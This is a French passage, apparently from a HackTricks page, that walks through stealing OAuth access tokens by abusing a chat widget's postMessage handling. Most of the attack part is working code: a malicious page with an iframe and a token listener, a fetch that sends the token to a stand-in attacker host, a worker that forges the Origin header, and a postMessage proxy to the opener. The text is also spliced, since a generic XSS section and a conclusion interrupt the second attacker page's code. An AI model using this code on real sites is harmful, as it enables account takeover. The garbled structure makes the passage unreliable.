1. J'ai créé une page malveillante qui intègre une iframe du widget de chat, ajouté un écouteur postMessage pour écouter le jeton d'API de chat. De plus, j'ai déclenché un événement pour recharger l'iframe si je n'avais pas obtenu le jeton d'API en 2 secondes. C'était pour m'assurer que je prenais également en charge les victimes qui n'avaient jamais initié le chat, et comme je pouvais déclencher l'ouverture du chat à distance, j'avais d'abord besoin du jeton d'API de chat pour commencer à interroger les données dans l'API de chat côté serveur.
```html
<div id="leak"><iframe
id="i" name="i"
src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div>
<script>
var gotToken = false;
function reloadToCheck() {
if (gotToken) return;
setTimeout(function() {
document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random();
}, 2000);
}
window.onmessage = function(e) {
if (e.data.key === 'api-token') {
gotToken = true;
lookInApi(e.data.value);
}
}
launchChatWindowByPostMessage();
</script>
```
2. J'ai ajouté un lien vers la page malveillante pour ouvrir le flux de connexion qui finirait sur la page avec le widget de chat avec le jeton dans l'URL :
```
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Cliquez ici pour pirater le jeton</a>
```
3. La fonction `launchChatWindowByPostMessage()` enverra continuellement un postMessage à la fenêtre principale, si elle est ouverte, pour lancer le widget de chat :
```javascript
function launchChatWindowByPostMessage() {
var launch = setInterval(function() {
if(b) { b.postMessage({type: 'launch-chat'}, '*'); }
}, 500);
}
```
4. Lorsque la victime a cliqué sur le lien et a atterri sur la page d'erreur, le chat se lancerait et un jeton d'API de chat serait créé. Mon rechargement de l'iframe du widget de chat sur la page malveillante obtiendrait le `api-token` via postMessage et je pourrais alors commencer à chercher dans l'API l'URL actuelle de la victime :
```javascript
function lookInApi(token) {
var look = setInterval(function() {
fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => {
if (e &&
e.api_data &&
e.api_data.current_url &&
e.api_data.current_url.indexOf('access_token') !== -1) {
var payload = e.api_data.current_url
document.getElementById('leak').innerHTML = 'L\'attaquant a maintenant le jeton : ' + payload;
clearInterval(look);
}
});
}, 2000);
}
```
5. La page côté serveur à `https://fetch-server-side.attacker.test/?token=xxx` ferait l'appel API avec l'en-tête Origin ajouté pour faire croire à l'API de chat que je l'utilisais en tant qu'origine légitime :
```javascript
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function getDataFromChatApi(token) {
return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}});
}
function handleRequest(request) {
const token = request.url.match('token=([^&#]+)')[1] || null;
return token ? getDataFromChatApi(token) : null;
}
```
6. Lorsque la victime a cliqué sur le lien et a effectué la danse OAuth et a atterri sur la page d'erreur avec le jeton ajouté, le widget de chat se serait soudainement ouvert, enregistrerait l'URL actuelle et l'attaquant aurait le jeton d'accès de la victime.
## Autres idées pour la fuite d'URL
Il existe encore d'autres types de gadgets différents qui attendent d'être découverts. Voici l'un de ces cas que je n'ai pas pu trouver dans la nature mais qui pourrait être un moyen potentiel de faire fuiter l'URL en utilisant l'un des modes de réponse disponibles.
### Une page sur un domaine qui achemine tout postMessage vers son ouvreur
Comme tous les types de réponse `web_message` ne peuvent pas valider le chemin de l'origine, n'importe quelle URL sur un domaine valide peut recevoir le postMessage avec le jeton. S'il y a une forme de proxy d'écouteur postMessage sur l'une des pages du domaine, qui prend n'importe quel message envoyé et envoie tout à son `opener`, je peux faire une double chaîne window.open :
Page de l'attaquant 1 :
```html
<a href="#" onclick="a=window.open('attacker2.html'); return false;">Accept cookies</a>
```
# Page de l'attaquant 2:
## XSS et iframes pour voler des valeurs d'état et de code
Une autre technique pour voler des valeurs d'état et de code consiste à utiliser des attaques XSS et des iframes. Cette technique est similaire à l'utilisation de postMessage, mais elle est plus simple à mettre en œuvre.
L'attaquant peut créer une page Web malveillante contenant du code JavaScript qui extrait les valeurs d'état et de code de la page de l'utilisateur. Cette page peut être hébergée sur un serveur contrôlé par l'attaquant ou sur un service tiers.
L'attaquant peut ensuite utiliser une attaque XSS pour injecter cette page malveillante dans la page de l'utilisateur. L'attaquant peut utiliser différentes techniques pour injecter la page malveillante, telles que l'injection de code JavaScript dans les champs de saisie de la page ou l'injection de code JavaScript dans les URL.
Une fois que la page malveillante est injectée dans la page de l'utilisateur, elle peut extraire les valeurs d'état et de code de la page de l'utilisateur et les envoyer à l'attaquant. L'attaquant peut utiliser ces valeurs pour effectuer une attaque de prise de contrôle de compte.
L'utilisation d'iframes est similaire à l'utilisation de l'attaque XSS. L'attaquant peut créer une page Web malveillante contenant un iframe qui charge la page de l'utilisateur. L'iframe peut être hébergé sur un serveur contrôlé par l'attaquant ou sur un service tiers.
L'attaquant peut ensuite utiliser une attaque XSS pour injecter cet iframe dans la page de l'utilisateur. L'iframe peut extraire les valeurs d'état et de code de la page de l'utilisateur et les envoyer à l'attaquant.
## Conclusion
Les attaques OAuth sont de plus en plus courantes, car de plus en plus d'applications utilisent OAuth pour l'authentification et l'autorisation. Les attaquants peuvent utiliser différentes techniques pour effectuer une attaque de prise de contrôle de compte, telles que l'utilisation de postMessage, d'iframes et d'attaques XSS.
Les développeurs doivent être conscients de ces techniques et mettre en place des mesures de sécurité pour protéger leurs applications contre ces attaques. Les mesures de sécurité peuvent inclure la validation des valeurs d'état et de code, la mise en place de restrictions de domaine pour les messages postés et l'utilisation de CSP pour limiter les sources de scripts autorisées.
```html
<a href="#" onclick="b=window.open('https://accounts.google.com/oauth/...?', '', 'x'); location.href = 'https://example.com/postmessage-proxy'; return false;">Login to google</a>
```
Et le `https://example.com/postmessage-proxy` aurait quelque chose comme:
```javascript
// Proxy all my messages to my opener:
window.onmessage=function(e) { opener.postMessage(e.data, '*'); }
```
Je pourrais utiliser n'importe lequel des modes de réponse `web_message` pour soumettre le jeton provenant du fournisseur OAuth jusqu'à l'origine valide de `https://example.com`, mais le point final enverrait le jeton plus loin vers `opener`, qui est la page de l'attaquant.
Ce flux peut sembler improbable et nécessite deux clics : un pour créer une relation d'ouverture entre l'attaquant et le site web, et le second pour lancer le flux OAuth en ayant le site légitime comme ouvreur de la fenêtre OAuth.
Le fournisseur OAuth envoie le jeton jusqu'à l'origine légitime :
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example1.png)
Et l'origine légitime a le proxy postMessage vers son ouvreur :
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example2.png)
Ce qui permet à l'attaquant d'obtenir le jeton :
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget4-example3.png)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>